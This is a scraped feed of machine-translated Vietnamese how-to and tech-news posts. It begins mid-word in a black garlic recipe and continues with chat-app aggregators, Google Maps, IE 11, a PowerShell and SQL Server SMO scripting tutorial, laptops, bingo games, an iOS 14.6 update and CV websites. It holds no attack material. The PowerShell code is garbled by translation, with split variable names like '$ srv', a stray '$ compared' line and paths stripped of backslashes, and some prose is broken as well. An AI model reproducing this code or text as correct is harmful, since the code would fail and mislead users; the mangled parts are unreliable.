dirt.\nWith tools such as electric rice cooker, family black garlic making machine, you need to clean before using to ensure fermented garlic successfully!\nHow to make black garlic with electric rice cooker To make black garlic with a rice cooker, in addition to garlic and rice cooker, you will need to use more beer and foil. For 1 kg of processed garlic, 1 can of beer is needed. Specific implementation is as follows:\n  Steps to ferment black garlic with a rice cooker.\nStep 1: Put the garlic in a large bowl, then pour the beer and soak for 30 minutes. Stir the garlic every 5 - 10 minutes to allow the beer to soak into the garlic faster. Step 2: After 30 minutes, remove the garlic and let it dry, then put the garlic in foil, then put it in the rice cooker. Step 3: Close the lid of the rice cooker, then wrap the wrapper over the rice cooker, make sure the garlic is completely in contact with the air. Choose to keep warm and keep it for 15 days.   Black garlic finished when incubated with electric rice cooker.\nAfter 15 days, you will get the finished black garlic. Satisfactory garlic has a brown outer shell, the garlic cloves inside are black. You take out the garlic, put it on the iron or basket rack, let it dry and cool completely, then store it in a sealed container, store in a cool place and use it gradually.\nNote during the incubation process, you can open the pot to check daily, but should not open for more than 5 minutes to avoid heat loss, affecting garlic quality.\nHow to make black garlic with black garlic making machine   Steps to make black garlic with a pot make black garlic.\nStep 1: Put the prepared garlic into the trays and put it in the machine. Step 2: Press and hold the On / Off button for a few seconds (depending on the model) to make sure it returns to the initial standby mode. Step 3: Select the mode to make black garlic for garlic with multiple branches or garlic for one branch, then press On / Off button to confirm. After that, the machine starts counting down the time: for many branched garlic usually takes 192 hours, lonely garlic usually takes 288 hours. At the end of fermentation time, the machine switches to standby mode. You can choose to add the drying mode to reduce the water in the garlic.\n  The finished product of black garlic made of black garlic making machine can be used to make many delicious dishes.\nAfter finishing the fermentation and drying process, remove the garlic, put it in a sealed container, store it in a cool place.\nNote not to turn on the device and turn off the power during fermentation.\nSee more: Taste you nutritious menu from black garlic\nMaking black garlic at home with a rice cooker or a pot of black garlic better? Above are the steps to make black garlic at home with electric rice cooker or black garlic pot. Although the implementation steps are not too complicated, but the rice cooker is not a specialized device, making black garlic with a rice cooker will be unstable and not everyone succeeds from the first time. If using the machine, the process of making black garlic will be done completely automatically, the time for making garlic is shortened and ensure the quality of black garlic is more finished.\n  Black garlic machine Tiross TS908 of 6 liters capacity incubates 1 - 1.5 kg of fresh garlic each time.\nOn the market today there are quite a number of machines making black garlic family from reputable brands such as Tiross, Perfect, Panworld, Iruka, Mishio . with the price of only VND 839,000 . These machines are designed with compact, compact, elegant colors, made from high quality materials, safe for health. In particular, many products also have multi-functions, help you can cook porridge, cook rice, cook noodles, stew, fry, grill . extremely convenient.\nExplore more:\nIf you want to make black garlic successful, you must use 1 of 3 black garlic making machines The criteria to buy the best black garlic making machine If you want to buy genuine black garlic machine at the lowest price, you can order online on META.vn website or contact the hotline number in Hanoi 024.35.68.69.69 - TP. HCM 028.38.33.33.66 for advice and support for the fastest purchase.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJuv9OapZ2Zopl6o7jAnKJmn5GnuaqvjJqrZqCforJutdJmpaisXayyrbiMpKWor54%3D\n","link":"/post/how-to-make-standard-black-garlic-at-home-is-not-well-known/","section":"post","tags":null,"title":"How to make standard black garlic at home is not well known"},{"body":"The number of people using social networks like Viber, Facebook Messenger, Skype, . is increasing. Not only is it used to exchange and make friends, but many people also use chat services to become a means of daily exchange. Besides, the continuous upgrade of features in chat applications also attracts users.\nInstructions to block messages when spammed on Viber Hide nick Facebook Messenger on Android Guide to chat with lots of Skype nick on the same computer Most chat services today have a computer version, which is used on the Web platform. And it's not uncommon to close or open these chat service tabs, if we use it at the same time. So did you try to gather all chat services into the same software and use them? The Franz and All-in-One Messenger tools will help us do that when we can online, manage and chat 14 social networking services at the same time. Join the Network Administrator to learn the unique features of these two tools in the tutorial below.\n1. Using Franz software: Step 1: You need to download Franz software under the link below, then extract the .zip file of the program.\nDownload Franz software for free Download Franz for Mac   Step 2: After decompressing, you proceed to install the program. Franz will proceed automatically on the computer, but we do not need to press any more operations. In particular, the program has no viruses or ads, safe for computers.\n  After installation, the icon of Franz will appear right on the computer screen and in the taskbar.\n  Step 3: The main interface of the program appears with full 14 social networking services such as Facebook Messenger, WhatsApp, Hangouts, Skype, Slack, Steam Chat, . You can use social chat services right away.\n  Step 4: When you click on any chat service, the settings panel will appear first. For example, with the Skype service in the picture below. We can set the name for the account, notification options and audio. Finally click Add Skype to save.\n  Step 5: To use, click on the name Skype just placed on the top of the screen, next to the icon Franz.\n  Soon Skpye's interface will appear. Log in to your personal account and click Sign in to chat with your friends.\n  Step 6: The interface is quite similar to when you use it on the computer version, right? We can still chat and text with friends as usual.\n  Step 7: To use another chat service, click on the top Franzy icon to return to the main interface. You can choose other chat apps such as Facebook Messenger. We also set up the same and click Add Messenger to save.\n  Step 8: Click on the name Messenger and place it on the screen to log in to your personal account. Click Continue .\n  Step 9: The main interface of Messenger appears. You will see all the support features like when using Messenger on the web platform. Can also chat, send photos, even make calls with anyone.\n  2. Use the All-in-One Messenger utility: Just like Franz software, this utility will allow users to use chat tools on a single window. We will not need to open or close chat applications as before. In particular, All-in-One Messenger is a utility installed on Google Chrome, easy to use.\nStep 1: First, please visit the link below to proceed to install the add-on browser:\nDownload the All-in-One Messenger utility Step 2: Click Add to Chrome to install.\n  Then click on Add application to be able to use All-in-One Messenger.\n  Step 3: Soon, we will be transferred to the interface of applications running on Chrome browser. You click on All-in-One Messenger to run the application.\n  Step 4: Appearance of separate window interface of All-in-One Messenger. You will see All-in-One Messenger brings together a lot of popular chat apps, like WhatsApp, Facebook Messenger, Skype, Telegram, Google Hangouts, .\n  Step 5: We can choose to use any chat application, such as Facebook Messenger . Shortly after that, the window of managing the Facebook Messenger application appeared.\nYou can choose to enable or disable the sound when ticking in the Turn off all sounds box. Then click Add Facebook Messenger .\n  If a message board appears as shown below, the user can choose Process or Leave later . If pressing Process will appear a message to allow the use of a microphone or camera. Click Allow .\n  Then we just need to log in to Facebook Messenger account and use it to finish.\n  Step 6: To use another chat application, click the alias icon to bring it to the main interface, and select the chat application, for example Skype .\n  Step 7: To delete the chat application that you do not want to use, return to the main interface, click on the chat application and select Delete as done.\n  Above are two tools to help users use chat applications on a program, including Franz and All-in-One Messenger. We can use chat apps at the same time, avoiding the case of skipping chat messages or notifications from friends. Besides, users can switch between applications easily with just a simple click.\nRefer to the following articles:\nHow to create Viber chat groups on Windows How to chat for free Telegram on the web? Instructions to retrieve Skype password Wish you have a good time!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnquwcutoKmklWKwqa3TZpipqJyesKLAyKilrGWfo3q1tMRmqpqllWLEqrrDqK4%3D\n","link":"/post/how-to-use-multiple-chat-applications-on-the-same-window/","section":"post","tags":null,"title":"How to use multiple chat applications on the same window"},{"body":"Google has just launched a series of new shortcuts on the Maps application, making it easier for people to access essential locations such as fuel, medicine and especially food, then You can contact the store to order and transport to your home instead of having to go to the place of transaction as usual.\nThese new shortcuts are actually small options at the top of the map that you can see when you open the application, specifically as follows:\n  These shortcuts appear for the sole purpose of making it easy to find places to sell or provide essential essentials / services, such as hotels, fuel shops or grocery stores. No need to type search keywords as usual.\nThe most noticeable are the 'Delivery' and 'Takeout' shortcuts. When you open Google Maps, place the screen in the middle of the area you want to search. Then click on these shortcuts, Google Maps will immediately show you all the stores (mainly food stores, restaurants) that offer online and home delivery services. This is clearly a useful feature in the context that social measures are being applied thoroughly to limit the spread of COVID-19.\n  Not only that, but in the shortcuts, Google Maps also provides additional filter options to help users can choose the most appropriate location. For example, in the 'Delivery' shortcut, we will have filter options including: 'Relevance', 'Currently open', 'Top rated' and 'Other filters'. Just click on the option you find most interested. The application will return the corresponding results.\nAt this point, you will see complete information, including name, contact phone number, menu, opening hours and address. In the case of some restaurants (not all), you will be able to order food directly from Google Maps or link to another application that can order. If not, you can also contact the store directly with the information provided.\nUpdate the Google Maps app to the latest version to use this useful feature!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmpZ6vXZy8sLPLnmSmmaCoerS0zqurnK2kYrOwvoyemKyxXaeyrrvTnmSsoJ%2Blvaq6xg%3D%3D\n","link":"/post/how-to-use-the-new-google-maps-shortcut-for-easy-remote-shopping/","section":"post","tags":null,"title":"How to use the new Google Maps shortcut for easy remote shopping"},{"body":"Microsoft has announced that Internet Explorer 11 (IE 11) version preinstalled in Windows 8.1 is capable of downloading JPG images about 45% faster than IE 10.\n  IE 11 will have faster JPG image download speeds than previous IE versions - (Photo: AFP)\nAccording to Neowin on September 15, by some methods of improving graphics processing algorithms, downloading images on IE 11 when running Windows 8.1 will be faster, so that when users perform web surfing on sites with More pictures will feel the picture download more smoothly.\nIn addition, some of the highlights of IE 11 are improved web surfing, increased battery life (when used on a laptop), improved surfing speed and better WebGL support. .\nExpected, the version of Windows 8.1 (actually an upgrade from Windows 8 ) will be officially launched on October 18. In it, IE 11 will be the web browser preinstalled in this operating system.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKulnqxdmsWxuM6rnKtlYWZ6pbvWp6OomZSoequ8xmagppmXmsBuuc6rnA%3D%3D\n","link":"/post/internet-explorer-11-downloads-jpg-images-more/","section":"post","tags":null,"title":"Internet Explorer 11 downloads JPG images 'more'"},{"body":"  Microsoft Windows PowerShell and SQL Server 2005 SMO - Part 1    Microsoft Windows PowerShell and SQL Server 2005 SMO - Part 2    Microsoft Windows PowerShell and SQL Server 2005 SMO - Part 3    Microsoft Windows PowerShell and SQL Server 2005 SMO - Part 4    Microsoft Windows PowerShell and SQL Server 2005 SMO - Part 5    Microsoft Windows PowerShell and SQL Server 2005 SMO - Part 6  Microsoft Windows PowerShell and SQL Server 2005 SMO - Part 7  Microsoft Windows PowerShell and SQL Server 2005 SMO - Part 8\nThe MAK\nUse PowerShell and SMO to create SQL Server scripts Part 1 and Part 2 of this series introduced PowerShell and SMO, WMI cmdlets simple installation. In Part 3, I explained how to script PowerShell and connect to SQL Server. Part 4 introduced how to use PowerShell script to iterate in file content and connect different servers. Part 5 is an introduction to creating a SQL Server database using PowerShell and SMO. Part 6 examines the problem of backing up a SQL Server database with PowerShell and SMO, part 7 is how to create a list of objects in a database and part 8 is a way to list all the properties of the objects in the database by PowerShell and SMO. In Part 9 of this series, I will show you how to use PowerShell in conjunction with SMO to create a SQL Server script. Creating SQL Server scripts is an important task for administrators and SQL Server database development professionals. Method 1 Let's assume we want to create a 'Create Database' script for the AdventureWorks database from the server 'HOMESQLEXPRESS'. Execute cmdlets below (see Figure 1.1)\n[reflection.assembly] :: LoadWithPartialName (\"Microsoft.SqlServer.Smo\") | out-null \n $ MyScripter = new-object (\"Microsoft.SqlServer.Management.Smo.Scripter\") \n $ srv = New-Object \"Microsoft.SqlServer.Management.Smo.Server\" \"HOMESQLEXPRESS\" \n $ MyScripter.Server = $ srv \n $ MyScripter.Script ($ srv.databases [\"AdventureWorks\"])\n  Figure 1.1\nThis command will create a 'Create Database' script for the AdventureWorks database as shown below (see Figure 1.2).\nCREATE DATABASE [AdventureWorks] ON PRIMARY \n (NAME = N'AdventureWorks_Data ', \n FILENAME = \n N'C: Program FilesMicrosoft SQL ServerMSSQL.1 \n MSSQLDataAdventureWorks_Data.mdf ', \n SIZE = 180992KB, MAXSIZE = UNLIMITED, FILEGROWTH = 16384KB) \n LOG ON \n (NAME = N'AdventureWorks_Log ', FILENAME = \n N'C: Program FilesMicrosoft SQL ServerMSSQL.1 \n MSSQLDATAAdventureWorks_Log.ldf ', \n SIZE = 2048KB, MAXSIZE = 2048GB, FILEGROWTH = 16384KB) \n COLLATE Latin1_General_CI_AS \n EXEC dbo.sp_dbcmptlevel @ dbname = N'AdventureWorks', @ new_cmptlevel = 90 \n IF (1 = FULLTEXTSERVICEPROPERTY ('IsFullTextInstalled')) \n begin \n EXEC [AdventureWorks]. [Dbo]. [Sp_fulltext_database] @action = 'enable' \n end \n ALTER DATABASE [AdventureWorks] SET ANSI_NULL_DEFAULT OFF \n ALTER DATABASE [AdventureWorks] SET ANSI_NULLS ON \n ALTER DATABASE [AdventureWorks] SET ANSI_PADDING ON \n ALTER DATABASE [AdventureWorks] SET ANSI_WARNINGS ON \n ALTER DATABASE [AdventureWorks] SET ARITHABORT ON \n ALTER DATABASE [AdventureWorks] SET AUTO_CLOSE ON \n ALTER DATABASE [AdventureWorks] SET AUTO_CREATE_STATISTICS ON \n ALTER DATABASE [AdventureWorks] SET AUTO_SHRINK OFF \n ALTER DATABASE [AdventureWorks] SET AUTO_UPDATE_STATISTICS ON \n ALTER DATABASE [AdventureWorks] SET CURSOR_CLOSE_ON_COMMIT OFF \n ALTER DATABASE [AdventureWorks] SET CURSOR_DEFAULT GLOBAL \n ALTER DATABASE [AdventureWorks] SET CONCAT_NULL_YIELDS_NULL ON \n ALTER DATABASE [AdventureWorks] SET NUMERIC_ROUNDABORT OFF \n ALTER DATABASE [AdventureWorks] SET QUOTED_IDENTIFIER ON \n ALTER DATABASE [AdventureWorks] SET RECURSIVE_TRIGGERS OFF \n ALTER DATABASE [AdventureWorks] SET DISABLE_BROKER \n ALTER DATABASE [AdventureWorks] SET AUTO_UPDATE_STATISTICS_ASYNC OFF \n ALTER DATABASE [AdventureWorks] SET DATE_CORRELATION_OPTIMIZATION OFF \n ALTER DATABASE [AdventureWorks] SET TRUSTWORTHY OFF \n ALTER DATABASE [AdventureWorks] SET ALLOW_SNAPSHOT_ISOLATION OFF \n ALTER DATABASE [AdventureWorks] SET PARAMETERIZATION SIMPLE \n ALTER DATABASE [AdventureWorks] SET READ_WRITE \n ALTER DATABASE [AdventureWorks] SET RECOVERY SIMPLE \n ALTER DATABASE [AdventureWorks] SET MULTI_USER \n ALTER DATABASE [AdventureWorks] SET PAGE_VERIFY CHECKSUM \n ALTER DATABASE [AdventureWorks] SET DB_CHAINING OFF\n  Figure 1.2\nMethod 2 Let's assume that we want to create a script for all tables in the AdventureWorks database from the server 'HOMESQLEXPRESS'. Execute cmdlets below (refer to Figure 1.3)\n[reflection.assembly] :: LoadWithPartialName (\"Microsoft.SqlServer.Smo\") | out-null \n $ MyScripter = new-object (\"Microsoft.SqlServer.Management.Smo.Scripter\") \n $ srv = New-Object \"Microsoft.SqlServer.Management.Smo.Server\" \"HOMESQLEXPRESS\" \n $ MyScripter.Server = $ srv \n $ MyScripter.Script ($ srv.Databases [\"adventureworks\"]. Tables)\n  Figure 1.3\nThis command creates a CREATE TABLE script for tables in the AdventureWorks database from the server 'HOMESQLEXPRESS'. Execute cmdlets below (refer to Figure 1.4)\n. \n . \n CREATE TABLE [Sales]. [SpecialOffer] ( \n [SpecialOfferID] [int] IDENTITY (1,1) NOT NULL, \n [Description] [nvarchar] (255) COLLATE Latin1_General_CI_AS NOT NULL, \n [DiscountPct] [smallmoney] NOT NULL, \n [Type] [nvarchar] (50) COLLATE Latin1_General_CI_AS NOT NULL, \n [Category] [nvarchar] (50) COLLATE Latin1_General_CI_AS NOT NULL, \n [StartDate] [datetime] NOT NULL, \n [EndDate] [datetime] NOT NULL, \n [MinQty] [int] NOT NULL, \n [MaxQty] [int] NULL, \n [rowguid] [uniqueidentifier] ROWGUIDCOL NOT NULL, \n [ModifiedDate] [datetime] NOT NULL \n ) ON [PRIMARY] \n SET ANSI_NULLS ON \n SET QUOTED_IDENTIFIER ON \n CREATE TABLE [Sales]. [SpecialOfferProduct] ( \n [SpecialOfferID] [int] NOT NULL, \n [ProductID] [int] NOT NULL, \n [rowguid] [uniqueidentifier] ROWGUIDCOL NOT NULL, \n [ModifiedDate] [datetime] NOT NULL \n ) ON [PRIMARY] \n SET ANSI_NULLS ON \n SET QUOTED_IDENTIFIER ON \n CREATE TABLE [Sales]. [Store] ( \n [CustomerID] [int] NOT NULL, \n [Name] [dbo]. [Name] NOT NULL, \n [SalesPersonID] [int] NULL, \n [Demographics] [xml] (CONTENT [Sales]. [StoreSurveySchemaCollection]) NULL, \n [rowguid] [uniqueidentifier] ROWGUIDCOL NOT NULL, \n [ModifiedDate] [datetime] NOT NULL \n ) ON [PRIMARY] \n SET ANSI_NULLS ON \n SET QUOTED_IDENTIFIER ON \n CREATE TABLE [Sales]. [StoreContact] ( \n [CustomerID] [int] NOT NULL, \n [ContactID] [int] NOT NULL, \n [ContactTypeID] [int] NOT NULL, \n [rowguid] [uniqueidentifier] ROWGUIDCOL NOT NULL, \n [ModifiedDate] [datetime] NOT NULL \n ) ON [PRIMARY] \n . \n .\n  Figure 1.4\nMethod 3 \n SQL Server database scripting and its objects have many options. These options can be changed by adjusting the available flag to 'on' or 'off'. Execute cmdlets below to see all options available in the script (refer to Figure 1.5).\n[reflection.assembly] :: LoadWithPartialName (\"Microsoft.SqlServer.Smo\") | out-null \n $ MyScripter = new-object (\"Microsoft.SqlServer.Management.Smo.Scripter\") \n $ srv = New-Object \"Microsoft.SqlServer.Management.Smo.Server\" \"HOMESQLEXPRESS\" \n $ MyScripter.Server = $ srv \n $ so = $ MyScripter.Options \n $ compared\n  Figure 1.5\nThe above command displays all available options for the scenario you can change as shown below (refer to Figure 1.6).\nFileName: \n Encoding: System.Text.UnicodeEncoding \n DriWithNoCheck: False \n ScriptDrops: False \n TargetServerVersion: Version80 \n AnsiFile: False \n AppendToFile: False \n ToFileOnly: False \n SchemaQualify: True \n IncludeHeaders: False \n IncludeIfNotExists: False \n WithDependencies: False \n DriPrimaryKey: False \n DriForeignKeys: False \n DriUniqueKeys: False \n DriClustered: False \n DriNonClustered: False \n DriChecks: False \n DriDefaults: False \n Triggers: False \n Bindings: False \n NoFileGroup: False \n NoCollation: False \n ContinueScriptingOnError: False \n Permissions: False \n AllowSystemObjects: True \n NoIdentities: False \n ConvertUserDefinedDataTypesToBaseType: False \n TimestampToBinary: False \n AnsiPadding: False \n ExtendedProperties: False \n DdlHeaderOnly: False \n DdlBodyOnly: False \n NoViewColumns: False \n Statistics: True \n SchemaQualifyForeignKeysReferences: False \n ClusteredIndexes: False \n NonClusteredIndexes: False \n AgentAlertJob: False \n AgentJobId: False \n AgentNotify: False \n LoginSid: False \n FullTextIndexes: False \n NoCommandTerminator: False \n NoIndexPartitioningSchemes: False \n NoTablePartitioningSchemes: False \n IncludeDatabaseContext: False \n FullTextCatalogs: False \n NoXmlNamespaces: False \n NoAssemblies: False \n PrimaryObject: True \n DriIncludeSystemNames: False \n Default: True \n XmlIndexes: False \n OptimizerData: False \n NoExecuteAs: False \n EnforceScriptingOptions: False \n NoMailProfileAccounts: False \n NoMailProfilePrincipals: False \n Indexes: False \n DriIndexes: False \n DriAllKeys: False \n DriAllConstraints: False \n DriAll: False\n  Figure 1.6\nNow let's try to save the created script 'Create Database' to a file using the Scripting option. Execute cmdlets as shown below (refer to Figure 1.7)\n[reflection.assembly] :: LoadWithPartialName (\"Microsoft.SqlServer.Smo\") | out-null \n $ MyScripter = new-object (\"Microsoft.SqlServer.Management.Smo.Scripter\") \n $ srv = New-Object \"Microsoft.SqlServer.Management.Smo.Server\" \"HOMESQLEXPRESS\" \n $ MyScripter.Server = $ srv \n $ so = $ MyScripter.Options \n $ so.FileName = \"C: MyDatabaseScript.sql\" \n $ MyScripter.Script ($ srv.Databases [\"adventureworks\"])\n  Figure 1.7\nThis command will save the above 'Create Database' script to file C: MyDatabaseScript.sql, as shown in Figure 1.8 and Figure 1.9.\n  Figure 1.8\n  Figure 1.9\nConclude \n Part 9 of this series showed you how to use PowerShell and SMO to create scripts for databases and tables. It also introduces how to use scripting options to write to a data file. Part 10 will cover more scripting options and how to create PowerShell scripts from which to create SQL Server scripts using transfer parameters.\n  Microsoft Windows PowerShell and SQL Server 2005 SMO - Part 10 \n  Microsoft Windows PowerShell and SQL Server 2005 SMO - Part 11\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsSqusOorqxloKTEpr7SoZylpF2Wu6V50qqjZquVp8OmvoxrZ2ltXai6sHnPmqmtZWk%3D\n","link":"/post/microsoft-windows-powershell-and-sql-server-2005-smo/","section":"post","tags":null,"title":"Microsoft Windows PowerShell and SQL Server 2005 SMO"},{"body":"  Alienware Aurora m7900\nAlienware continues to make fans happy with 'super powerful' models and powerful processors. Aurora m7900 and Aurora mALX are the first laptop systems in the world to support two GeForce Go 7900 graphics processors that have just been unveiled at E3, Los Angeles. Supporting nVidia's SLI technology, enabling the use of up to two graphics processors (GPUs) on the same laptop based on the nForce 4 SLI solution, gives graphics capabilities to a new level with a resolution of 1680 x 1050 definition XHD (extreme high-definition). Alienware Aurora mALX has a 19-inch screen that supports two 'TOP' graphics processors, now nVidia GeForce Go 7900 GTX and the Alienware Aurora m7900 is not inferior to the GeForce Go 7900 GS. ' With nVidia graphics processor and SLI technology, Alienware has almost incorporated the desktop and mobile processing capabilities into our latest laptop systems ,' said Mark Vena. , Alienware's vice president of marketing said. ' Aurora m7900 and Aurora mALX provide customers with a mobile system with amazingly powerful options. No longer differentiate at home, office or on the road '.     NVidia's SLI technology is a 'sophisticated' hardware and software solution that can be activated to use two GeForce graphics processors in laptops that support SLI based on the nForce 4 SLI solution. This technology integrates smart communication ports in graphics processors and a high-speed digital interface on the graphics board allows for easier flow of data. A full suite of nVidia software provides premium load balancing, texture and compilation, delivering the best quality images. Alienware Aurora m7900 17 'and Aurora mALX 19' have a website price of 1999 USD and 4499 USD with the default configuration. Users in Vietnam can order this item easily at GoGo. BEAUTIFUL\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKemrZ2SpLysedKup6mnoqnAbsDHnmSfoaKowW6zxJ%2Bmq5uVYrSweZZyZ2llo6G2\n","link":"/post/the-notebook-supports-the-first-geforce-go-7900-sli/","section":"post","tags":null,"title":"The notebook supports the first GeForce Go 7900 SLI"},{"body":"Bingo is a classic game that has been around since the 1920s, and until today Bingo has always won the hearts of many people and became a classic game for generations.Today, you will not need to take a break to public Bingo play locations that can completely sit at home or lie on the bed enjoying this exciting game right on your mobile device.\nHere are some great free Bingo games for Android users.\n1. Bingo Abradoodle If you are looking for a cute and colorful game to entertain, don't miss Bingo Abradoodle.In the game you can freely change the theme themes and different play rooms like Bayou, Disco and Club Velvet as well as play with many different Bingo cards and win achievements to redeem rewards.\nThere will be restrictions on the number of winners in each round\nDownload: Bingo Abradoodle (Free)\n2. Bingo — Free Bingo Games   \nBingo - Free Bingo Games is a great product of Absolute Games application.In the game you can earn yourself coins and XP, valuable to upgrade and unlock exciting play rooms like mountains and beaches.You can also get rewards for useful power and coins by completing daily tasks.\nIn addition, this application also allows you to adjust the speed of the game, change the voice of the game guide and turn on, turn off the sound effects and animation.This lovely game itself promises to bring you moments of gentle entertainment after hours of study and stressful work.\nDownload: Bingo — Free Bingo Games (Free)\n3. Bingo Bash Bingo Bash offers something fresher, more destructive than traditional games.For example, if you play in Three Wishes room, you will have to use the letters in the word \"Magic\" instead of Bingo.And to get a Bingo, you have to lead the character to the magic lamp.\nThere are many other interesting play rooms for you to unlock like Wheel of Fortune, Monster Mash and Treasure Bay.In Bingo Bash, you will find it interesting to collect Bingo, make money and XP chips as well as receive daily bonuses when entering the game.\nDownload: Bingo Bash (Free)\n4. Bingo Blaze   \nBingo Blaze brings another exciting challenging world where you can travel to interesting places with your Bingo card.You will begin your journey in Hawaii with tropical music and ocean waves.You will continue to visit other great points like London and Paris by collecting the necessary Bingo card amount.\nThe game also gives you tournaments, exciting rewards and Facebook login options to synchronize games between devices.Spend time logging into the game every day because you definitely won't want to miss out on special events with valuable prizes.\nDownload: Bingo Blaze (Free)\n5. Bingo Blast If you feel that a regular Bingo game is too slow, try Bingo Blast.The goal in your game will be to get as many Bingo as possible in a limited time.In addition, you can earn coins, XP and rewards when you pass city play rooms like San Francisco, London and Rio.You are also given bonus turns to receive Bingo chips, use the cards skillfully and go to Bingo to win great victories.\nDownload: Bingo Blast (Free)\n6. Bingo by IGG   \nWith different game modes options like Classic Bingo, Super Bingo, tournaments, position ratings and many other options, you will never be bored when entering with Bingo IGG world.In the game you can use gems to buy one or more Bingo cards to improve your chances of winning.\nThe game gives you friendly conversations between members, free gems and daily rewards when logging into the game.\nDownload: Bingo by IGG (Free)\n7.Bingo Blitz Let's turn into great characters and enjoy a colorful entertainment space of Bingo Blitz.In the game you will in turn explore the fascinating places on the map, receive unexpected gifts when using many cards and play minigames as well as tasks to entertain more.Level up faster with power-ups and enjoy vibrant music while you play.\nDownload: Bingo Blitz (Free)\n8. Bingo Gem Rush    \nSimilar to Bingo Blast, Bingo Gem Rush is a game that has fast gameplay speed, you will have to complete the game in a countdown time.Try to get as many Bingo as possible within the time limit and level up to get interesting rewards.When you get Bingo, you will automatically receive a new card so you can continue playing before the timer runs out.\nYou can use the coins you earn to buy power-ups for the next round.Bingo Gem Rush is fast, funny and colorful.\nDownload: Bingo Gem Rush (free)\n9. Bingo Pop If you need an entertaining game without requiring an internet connection, Bingo Pop is a name worth trying.Along with being able to play anytime, anywhere, you will also enjoy 100 different levels in the game one by one, along with countless rewards, cards, special events, collectable items and tables. Interesting achievement ratings.\nDo not hesitate any longer without entering immediately the world of Bingo Pop to have moments of entertainment fun!\nDownload: Bingo Pop (free)\n10. Bingo Journey   \nIn Bingo Journey your next journey is to go to cities around the world.Complete missions, open chests, and defeat other opponents to get the rewards.You can also connect to Facebook to 'fight' your friends.\nDownload: Bingo Journey (Free)\n11. DoubleU Bingo Let's start the Bingo adventure with the lovely pet uncle in DoubleU Bingo.You can play Bingo in a classic style or try a new style room, or join a prominent tournament.Receive daily bonuses, invite your Facebook friends to play with and make friends with other players through the in-game chat feature.\nYou can play with up to four cards at once and earn coins for yourself, along with lovely pets.If you like an animal-themed bingo game, DoubleU Bingo is born for you.\nDownload: DoubleU Bingo (Free)\n12.Wizard of Bingo   \nIn Wizard of Bingo, you will immerse yourself in a mesmerizing fairy world with fairies, magicians, dungeons and magic.Spin daily bonus wheels and collect items as you move through the secret rooms of Atlantis, Treasure Island and Under the Sea.\nIn addition, the game also allows you to play in offline mode or Facebook mode option to play with friends.This is a great game to help you enjoy Bingo completely with cute graphics and interesting gameplay.\nDownload: Wizard of Bingo (Free)\n13. Bingo Showdown In Bingo Showdown, you can play with one to four Bingo cards and collect puzzle pieces to find out the crimes you encounter during the journey.Then take a picture and get a sweet reward in the game, including random gifts and valuable coupons.\nBingo Showdown has a simple interface, fun mini games and a competitive performance board awaiting you.\nDownload: Bingo Showdown (free)\nHope you will get really comfortable and rewarding entertainment moments with these 13 interesting Bingo titles.\nSee more:\nDownload Legend of Solgard, the latest game from the manufacturer of Candy Crush Entertainment with Akinator application, the god of lights can read your thoughts Summary of 10 good offline games for PC and download link Great, lightweight PC games for weak configuration machines ncG1vNJzZmismaXArq3KnmWcp51kwbC8jKKlrZ2imsC1tc2gZJuhnpy8brPAppxmnp%2BneqK6w6umopxdqsCmvtI%3D\n","link":"/post/top-interesting-bingo-game-for-android-users/","section":"post","tags":null,"title":"Top interesting Bingo game for Android users"},{"body":"Not only bringing new features, the iOS 14.6 update also fixes a series of security errors on iPhones to prevent crooks from taking over the device.\nAccordingly, the iOS 14.6 update will patch vulnerabilities that hackers can take advantage of to take control of iPhones and iPads.\nIn particular, hackers can take advantage of audio files containing malicious code to execute many pieces of code on users' iPhones to exploit information, gain access to.\n  The security issue is seriously assessed, because Apple allows users to update to the new iOS version on most devices manufactured in the past 5 years from iPhone 6s and above, to iPad Pro, iPad Air 2 and above, iPad 5th generation or later, iPad Mini 4 and iPod Touch 7th generation.\nIn addition, this release also fixes the following issues:\nUnlock with Apple Watch may not work after using iPhone Lock on Apple Watch The prompt may appear as a blank line Call barring extension may not appear in Settings Occasionally, a Bluetooth device may disconnect or send audio to another device during a call iPhone may experience reduced performance on startup. With iOS 14.6, users will be able to use new features such as sharing Apple Card credit cards with 5 family members through the Apple Card Family application; allows users to update an email in addition to the phone number with the AirTag device.\nAfter users update to iOS 14.6, the Apple Music application allows users to listen to high-quality music (Lossless), supporting the Dolby Atmos audio standard.\nCurrently, iOS 14-compatible iPhone/iPad users can download the iOS 14.6 and iPadOS 14.6 updates for free via the OTA protocol. To update iOS 14.6, users need to access the Settings app =\u0026gt; General =\u0026gt; Software Update .\nncG1vNJzZmismaXArq3KnmWcp51kxrDBjKecnpxdqbxuwc%2BdmK2dXa68tr6Moqehp56aerW7jKKmrGVhaYNutcymnJ2hkamyrcU%3D\n","link":"/post/you-need-to-update-your-iphone-to-ios-14-6-immediately/","section":"post","tags":null,"title":"You need to update your iPhone to iOS 14.6 immediately"},{"body":"CV (Curriculum Vitae) is a bridge to help you establish your first meeting with employers. A sketchy CV, lack of information, poor formality or too much color are all likely to become a mess. Therefore, investing in a perfect job CV before you start filing for the desired company is what every student is about to graduate or whoever is looking for a better job in New year to note.\n8 mistakes when writing a CV that put you at risk of long-term unemployment If you have an idea for a professional CV but lack the support tools, the following 10 online CV writing websites will help you easily realize all that. Please visit now to not miss any career opportunities.\n1. CV Maker Website: https://cvmkr.com/\nThis is a website that is easy to create online CV, quick to handle and supports multiple languages, including Vietnamese.\n  2. CeeVee Website: http://www.ceevee.com/\nCeeVee offers eye-catching CV templates than CV Maker, allowing users to customize more details to create professional CV but requires you to take some time to edit.\n  3. Online CV Website: http://www.onlinecvgenerator.com/\nThis site does not require users to log in, simply access and start creating CV. This is the perfect website for beginners to write CV for a job.\n  4. Write Your Resume Online Website: https://www.thepcmanwebsite.com/\nIn fact, this is a website that supports users to write Resume (a summary of the learning and working process) rather than creating a CV. However, if you explore deeply, you will also find very good ideas to perfect your CV.\n  5. Visual CV Website: https://www.visualcv.com/\nThis is considered one of the best online tools if you want to create a professional and impressive CV. However, it is certain that the time you invest in it will be more expensive than other simple tools.\n  6. ConnectCV Website: https://www.connectcv.com/\nConnectCV allows users to easily add tables, change fonts and many other customizations to create impressive CV. In particular, this site also provides some useful tips and advice when writing CV for a job.\n  7. SlashCV Website: 